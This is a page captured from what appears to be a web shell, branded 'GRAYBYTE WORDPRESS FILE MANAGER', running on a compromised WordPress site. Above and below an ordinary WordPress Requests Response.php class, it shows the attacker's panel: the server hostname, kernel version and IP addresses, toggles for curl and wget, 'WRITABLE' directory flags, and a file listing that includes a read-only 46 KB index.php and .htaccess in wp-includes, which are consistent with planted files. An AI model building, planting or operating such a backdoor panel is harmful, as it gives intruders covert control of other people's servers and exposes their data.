✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server303.web-hosting.com ​🇻​♯➤ 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 199.188.205.31 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.7
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/apktpqlk/getapkfiles.com/wp-includes/Requests/src//Response.php
<?php
/**
 * HTTP response class
 *
 * Contains a response from \WpOrg\Requests\Requests::request()
 *
 * @package Requests
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Cookie\Jar;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Response\Headers;

/**
 * HTTP response class
 *
 * Contains a response from \WpOrg\Requests\Requests::request()
 *
 * @package Requests
 */
class Response {

	/**
	 * Response body
	 *
	 * @var string
	 */
	public $body = '';

	/**
	 * Raw HTTP data from the transport
	 *
	 * @var string
	 */
	public $raw = '';

	/**
	 * Headers, as an associative array
	 *
	 * @var \WpOrg\Requests\Response\Headers Array-like object representing headers
	 */
	public $headers = [];

	/**
	 * Status code, false if non-blocking
	 *
	 * @var integer|boolean
	 */
	public $status_code = false;

	/**
	 * Protocol version, false if non-blocking
	 *
	 * @var float|boolean
	 */
	public $protocol_version = false;

	/**
	 * Whether the request succeeded or not
	 *
	 * @var boolean
	 */
	public $success = false;

	/**
	 * Number of redirects the request used
	 *
	 * @var integer
	 */
	public $redirects = 0;

	/**
	 * URL requested
	 *
	 * @var string
	 */
	public $url = '';

	/**
	 * Previous requests (from redirects)
	 *
	 * @var array Array of \WpOrg\Requests\Response objects
	 */
	public $history = [];

	/**
	 * Cookies from the request
	 *
	 * @var \WpOrg\Requests\Cookie\Jar Array-like object representing a cookie jar
	 */
	public $cookies = [];

	/**
	 * Constructor
	 */
	public function __construct() {
		$this->headers = new Headers();
		$this->cookies = new Jar();
	}

	/**
	 * Is the response a redirect?
	 *
	 * @return boolean True if redirect (3xx status), false if not.
	 */
	public function is_redirect() {
		$code = $this->status_code;
		return in_array($code, [300, 301, 302, 303, 307], true) || $code > 307 && $code < 400;
	}

	/**
	 * Throws an exception if the request was not successful
	 *
	 * @param boolean $allow_redirects Set to false to throw on a 3xx as well
	 *
	 * @throws \WpOrg\Requests\Exception If `$allow_redirects` is false, and code is 3xx (`response.no_redirects`)
	 * @throws \WpOrg\Requests\Exception\Http On non-successful status code. Exception class corresponds to "Status" + code (e.g. {@see \WpOrg\Requests\Exception\Http\Status404})
	 */
	public function throw_for_status($allow_redirects = true) {
		if ($this->is_redirect()) {
			if ($allow_redirects !== true) {
				throw new Exception('Redirection not allowed', 'response.no_redirects', $this);
			}
		} elseif (!$this->success) {
			$exception = Http::get_class($this->status_code);
			throw new $exception(null, $this);
		}
	}

	/**
	 * JSON decode the response body.
	 *
	 * The method parameters are the same as those for the PHP native `json_decode()` function.
	 *
	 * @link https://php.net/json-decode
	 *
	 * @param bool|null $associative Optional. When `true`, JSON objects will be returned as associative arrays;
	 *                               When `false`, JSON objects will be returned as objects.
	 *                               When `null`, JSON objects will be returned as associative arrays
	 *                               or objects depending on whether `JSON_OBJECT_AS_ARRAY` is set in the flags.
	 *                               Defaults to `true` (in contrast to the PHP native default of `null`).
	 * @param int       $depth       Optional. Maximum nesting depth of the structure being decoded.
	 *                               Defaults to `512`.
	 * @param int       $options     Optional. Bitmask of JSON_BIGINT_AS_STRING, JSON_INVALID_UTF8_IGNORE,
	 *                               JSON_INVALID_UTF8_SUBSTITUTE, JSON_OBJECT_AS_ARRAY, JSON_THROW_ON_ERROR.
	 *                               Defaults to `0` (no options set).
	 *
	 * @return array
	 *
	 * @throws \WpOrg\Requests\Exception If `$this->body` is not valid json.
	 */
	public function decode_body($associative = true, $depth = 512, $options = 0) {
		$data = json_decode($this->body, $associative, $depth, $options);

		if (json_last_error() !== JSON_ERROR_NONE) {
			$last_error = json_last_error_msg();
			throw new Exception('Unable to parse JSON data: ' . $last_error, 'response.invalid', $this);
		}

		return $data;
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
22 Jun 2026 6.39 AM
apktpqlk / apktpqlk
0755
Auth
--
14 Nov 2025 4.10 PM
apktpqlk / apktpqlk
0755
Cookie
--
14 Nov 2025 4.10 PM
apktpqlk / apktpqlk
0755
Exception
--
14 Nov 2025 4.10 PM
apktpqlk / apktpqlk
0755
Proxy
--
14 Nov 2025 4.10 PM
apktpqlk / apktpqlk
0755
Response
--
14 Nov 2025 4.10 PM
apktpqlk / apktpqlk
0755
Transport
--
14 Nov 2025 4.10 PM
apktpqlk / apktpqlk
0755
Utility
--
14 Nov 2025 4.10 PM
apktpqlk / apktpqlk
0755
.htaccess
0.124 KB
22 Jun 2026 6.39 AM
apktpqlk / apktpqlk
0444
Auth.php
0.84 KB
16 Dec 2022 2.32 AM
apktpqlk / apktpqlk
0644
Autoload.php
9.116 KB
5 Apr 2023 5.12 PM
apktpqlk / apktpqlk
0644
Capability.php
0.637 KB
5 Apr 2023 5.12 PM
apktpqlk / apktpqlk
0644
Cookie.php
15.028 KB
25 Mar 2024 4.23 PM
apktpqlk / apktpqlk
0644
Exception.php
1.088 KB
16 Dec 2022 2.32 AM
apktpqlk / apktpqlk
0644
HookManager.php
0.692 KB
16 Dec 2022 2.32 AM
apktpqlk / apktpqlk
0644
Hooks.php
2.961 KB
12 Oct 2023 4.34 PM
apktpqlk / apktpqlk
0644
IdnaEncoder.php
12.155 KB
21 May 2026 4.35 PM
apktpqlk / apktpqlk
0644
Ipv6.php
5.511 KB
21 May 2026 4.35 PM
apktpqlk / apktpqlk
0644
Iri.php
29.029 KB
21 May 2026 4.35 PM
apktpqlk / apktpqlk
0644
Port.php
1.47 KB
16 Dec 2022 2.32 AM
apktpqlk / apktpqlk
0644
Proxy.php
0.847 KB
16 Dec 2022 2.32 AM
apktpqlk / apktpqlk
0644
Requests.php
33.204 KB
21 May 2026 4.35 PM
apktpqlk / apktpqlk
0644
Response.php
4.181 KB
5 Apr 2023 5.12 PM
apktpqlk / apktpqlk
0644
Session.php
8.894 KB
12 Oct 2023 4.34 PM
apktpqlk / apktpqlk
0644
Ssl.php
5.298 KB
16 Dec 2022 2.32 AM
apktpqlk / apktpqlk
0644
Transport.php
1.508 KB
16 Dec 2022 2.32 AM
apktpqlk / apktpqlk
0644
error_log
0.211 KB
22 Jun 2026 3.50 AM
apktpqlk / apktpqlk
0644
index.php
46.424 KB
18 May 2025 3.39 AM
apktpqlk / apktpqlk
0444

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF